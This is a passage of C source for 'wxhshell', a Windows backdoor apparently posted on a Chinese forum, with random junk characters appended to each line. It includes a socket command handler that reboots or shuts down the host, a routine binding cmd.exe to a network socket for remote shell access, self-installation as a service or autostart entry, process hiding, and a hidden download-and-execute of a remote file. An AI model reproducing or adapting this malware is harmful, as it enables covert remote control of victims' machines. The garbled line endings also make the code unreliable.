  // 帮助 F hyY+{%  
  case '?': { mFd|JbW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KyqP@ {  
    break; AF{@lDa1h  
  } RyWfoLc  
  // 安装 YnCuF0>  
  case 'i': { lfR}cx  
    if(Install()) :x?G [x=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w2r* $Q  
    else ,1v FX$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v Et+^3=  
    break; r& :v(  
    } yK_$d0ZGE~  
  // 卸载 kmu7~&75  
  case 'r': { .n?i' 8  
    if(Uninstall()) D@ @"w+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?dCJv_w  
    else ~BnmAv$m[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W3R43>$  
    break; nwDGzC~y<  
    } $)=`Iai  
  // 显示 wxhshell 所在路径 AD6 b  
  case 'p': { &oFgZ.  
    char svExeFile[MAX_PATH]; jHx\YK@e\  
    strcpy(svExeFile,"\n\r"); 9'ky2 ]w  
      strcat(svExeFile,ExeFile); _skE\7&>X  
        send(wsh,svExeFile,strlen(svExeFile),0); 7Q&S [])  
    break; 3B$|B,  
    } v.gAi6  
  // 重启 :e}j$v F  
  case 'b': { 4#ifm#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +.m:-^9  
    if(Boot(REBOOT)) DKl\N~{F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N[yS heT  
    else { Qv8 =CnuOT  
    closesocket(wsh); W{ZJ^QAq/  
    ExitThread(0); )E6E}  
    } GAh\ 6ul  
    break; $5Rx>$~+d  
    } )cm^;(#pV  
  // 关机 o$}$Z&LK  
  case 'd': { zIU6bMMT3u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A "'h0D  
    if(Boot(SHUTDOWN)) 1IK*j +%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F9q!Upr_+  
    else { u|Ng>lU  
    closesocket(wsh); ~cfvL*~5  
    ExitThread(0); \GGyz{i  
    } W!* P  
    break; ;9vY5CxzC  
    } i3$pqNe  
  // 获取shell X%`:waR  
  case 's': { h +9~^<oFl  
    CmdShell(wsh); CUaL  
    closesocket(wsh); UGoB7TEfn  
    ExitThread(0); h6;zAM}  
    break; P|;f>*^Y  
  } J d,9<m $  
  // 退出 shVEAT'`  
  case 'x': { |HwEwL+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7DeBeY  
    CloseIt(wsh); ?MvL}o\|  
    break; `?"r\Qo<  
    } !0v3Lu ~j  
  // 离开 2=naPTP(  
  case 'q': { bPuO~#iN~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nM99AW  
    closesocket(wsh); ]qEg5:yY  
    WSACleanup(); Bc<pD?uOK  
    exit(1); ?0 7}\N0~  
    break; q 'uGB fE.  
        } LO38}w<k  
  } Y&$puiH-j  
  } x l=i_  
Lo=n)cV1,  
  // 提示信息 Z55C4F5v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &=wvlI52`  
} }8`>n4  
  } *mW2vJ/B  
vxrqUjK7  
  return; 0sF|Y%N  
} p.x2R,CU  
nrbP3sf*  
// shell模块句柄 <2O XXQ1  
int CmdShell(SOCKET sock) o ethO  
{ RE08\gNIt  
STARTUPINFO si; dl3}\o_  
ZeroMemory(&si,sizeof(si)); n ON]YDg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s&\krW &  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qm*XWo  
PROCESS_INFORMATION ProcessInfo; \\`(x:\  
char cmdline[]="cmd"; akWOE}5#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xv 7noq|  
  return 0; BUyKiMW49  
} S{,|Fa^PPO  
8K&=]:(  
// 自身启动模式 3XNk*Y[5  
int StartFromService(void) &{ZUY3  
{ :b;`.`@KL_  
typedef struct zqp>Xw  
{ EWOa2^%}Z\  
  DWORD ExitStatus; vXG?8Q  
  DWORD PebBaseAddress; Xu|2@?l9  
  DWORD AffinityMask; *dsI>4%m  
  DWORD BasePriority; XaMsIyhI  
  ULONG UniqueProcessId; ;f} ']2  
  ULONG InheritedFromUniqueProcessId; !mUO/6Q hq  
}   PROCESS_BASIC_INFORMATION; 4AKPS&k;  
<@Y`RqV+  
PROCNTQSIP NtQueryInformationProcess;  eAG)+b  
:Vw{ l B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p+b$jKWQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hk=HO|&<XB  
pv"s!q&  
  HANDLE             hProcess; |AS<I4+&  
  PROCESS_BASIC_INFORMATION pbi; f{P?|8u  
]oC"gWDYu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ! w;/J^  
  if(NULL == hInst ) return 0; s3 VD6xi7  
2)-4?uz~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?MS!t6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {P )O#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rU 1Ri  
ACpecG  
  if (!NtQueryInformationProcess) return 0; QuC_sFP10  
_7dp(R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,,lR\!>8  
  if(!hProcess) return 0; PM'2zP[*W  
YWL7.Y>%5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z_[L5B]Gwd  
!-ZY_  
  CloseHandle(hProcess); 1X9J[5|ll  
l \|sHn/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nwIj?(8x  
if(hProcess==NULL) return 0; {.J<^V  
j-ob7(v)*]  
HMODULE hMod; Qraa0]56  
char procName[255]; #qeC)T  
unsigned long cbNeeded; *eI{g  
s-~`Ao' <  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DgB;6Wl  
_CBMU'V  
  CloseHandle(hProcess); "/Gw`^t  
c:<a"$  
if(strstr(procName,"services")) return 1; // 以服务启动 Z$zX%w  
<5}j(jxz}  
  return 0; // 注册表启动 : t /0  
} aX Ie  
xC}'"``s  
// 主模块 @#;*e] 1a  
int StartWxhshell(LPSTR lpCmdLine) \C4wWh-A  
{ <2~DI0pp(  
  SOCKET wsl; .i^ @v<+  
BOOL val=TRUE; :[0)Uu{  
  int port=0; 9~jS_Y)"  
  struct sockaddr_in door; 1qBE|PwBp  
'pB?  
  if(wscfg.ws_autoins) Install(); JVr8O`>T  
14*6+~38m&  
port=atoi(lpCmdLine); =&(e*u_  
y,w_x,m  
if(port<=0) port=wscfg.ws_port; &>QxL d#  
)<qL8#["U  
  WSADATA data; [jrfh>v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gl[1K/,*  
XL'\$f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?Mn~XN4F_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {dn:1IcN  
  door.sin_family = AF_INET; l}&2A*c.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M0OIcMTv  
  door.sin_port = htons(port); k4E9=y?  
,s2C)bb-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KVUub'k  
closesocket(wsl); @]p {%"$  
return 1; =K}T; c  
} PZlPC#E-  
bm4Bq>*=U  
  if(listen(wsl,2) == INVALID_SOCKET) { kE|x'(x  
closesocket(wsl); T8Q_JQ  
return 1; Hi*|f!,H?  
} '?g&);4)k-  
  Wxhshell(wsl); 0Ng?U+6  
  WSACleanup(); M^>l>?#rl  
lcgG5/82  
return 0; 8si{|*;hL  
VT=gb/W6)a  
} PsD)]V9%:  
0rm(i*Q  
// 以NT服务方式启动 o[i*i<jv-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dDD5OnWmJ  
{ Of-xGo YZ  
DWORD   status = 0; S.q0L  
  DWORD   specificError = 0xfffffff; bOp%  
D5f[:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pS}IU{#;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~t ZB1+%)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dnQ6Ras  
  serviceStatus.dwWin32ExitCode     = 0; sg49a9`8  
  serviceStatus.dwServiceSpecificExitCode = 0; leI ]zDk=  
  serviceStatus.dwCheckPoint       = 0; %~8f0B|im  
  serviceStatus.dwWaitHint       = 0; S ?J(VJqE  
`"<hO 'WU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lP*=4Jh  
  if (hServiceStatusHandle==0) return; `AvK=]  
99CK [G  
status = GetLastError(); sLXM$SMBh  
  if (status!=NO_ERROR) F w t  
{ c\&;Xr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \sfc!5G  
    serviceStatus.dwCheckPoint       = 0; '>n&3`r5  
    serviceStatus.dwWaitHint       = 0; hw*u.46  
    serviceStatus.dwWin32ExitCode     = status; *c&OAL]  
    serviceStatus.dwServiceSpecificExitCode = specificError; LZ.Xcy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A1`6+8}o;b  
    return; lNtxM"G&  
  } 1i_%1Oip  
dUl"w`3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )+=Kh$VbS  
  serviceStatus.dwCheckPoint       = 0; 5\w*W6y  
  serviceStatus.dwWaitHint       = 0; (n7{?`Yid  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m^3j|'mG  
} Aq$1#1J  
,^Q~w b!{  
// 处理NT服务事件,比如:启动、停止 *'aouS/?<6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dU2;   
{ 9!Jt}n?!g  
switch(fdwControl) PHY!yc-LjV  
{ 4;r,U{uR  
case SERVICE_CONTROL_STOP: %<[{zd1C-  
  serviceStatus.dwWin32ExitCode = 0; r;* |^>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lSO$Q]!9  
  serviceStatus.dwCheckPoint   = 0; ' i<4;=M&  
  serviceStatus.dwWaitHint     = 0; Un,'a8>V`  
  { udIm}jRA"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -.ZP<,?@F  
  } \i@R5v=zL  
  return; .:B>xg~2  
case SERVICE_CONTROL_PAUSE: );6f8H@G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?%Tx% dB  
  break; m<kJH<!j  
case SERVICE_CONTROL_CONTINUE: V2M4g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1 A0BM  
  break; ~J> ;l s1  
case SERVICE_CONTROL_INTERROGATE: BHYguS^qz  
  break; .XiO92d9  
}; %7w8M{I R3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vw(ecs^C  
} $p&eS_f  
3dLqlJ^7B  
// 标准应用程序主函数 M0\gp@Fe  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s/s&d pT*  
{ wU<j=lY?f  
n:) [ %on  
// 获取操作系统版本 GKSF(Tnj  
OsIsNt=GetOsVer(); KG9-ac  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _~ei1 G.R  
O! XSU,  
  // 从命令行安装 VBF:MAA  
  if(strpbrk(lpCmdLine,"iI")) Install(); G$&jP:2q  
\[.qN  
  // 下载执行文件 #N >66!/V  
if(wscfg.ws_downexe) { "::2]3e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )oz2V9X{  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3o/f, }_  
} ;in-)`UC!  
cfa1"u""e  
if(!OsIsNt) { B@0#*I Rm  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~>lqEa  
HideProc(); 9+s&|XS*  
StartWxhshell(lpCmdLine); YM'4=BlJHv  
} CI$z+ zN  
else 3oH/34jj  
  if(StartFromService()) 9&.md,U'  
  // 以服务方式启动 C4.GtY8,d  
  StartServiceCtrlDispatcher(DispatchTable); K%mR=u#%&  
else Y,Rr[i"j  
  // 普通方式启动 G)t-W %D&  
  StartWxhshell(lpCmdLine); a`#lYM%(>  
`XK\', }F  
return 0; l 'wu-  
}
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只看该作者 1 发表于: 2006-10-10
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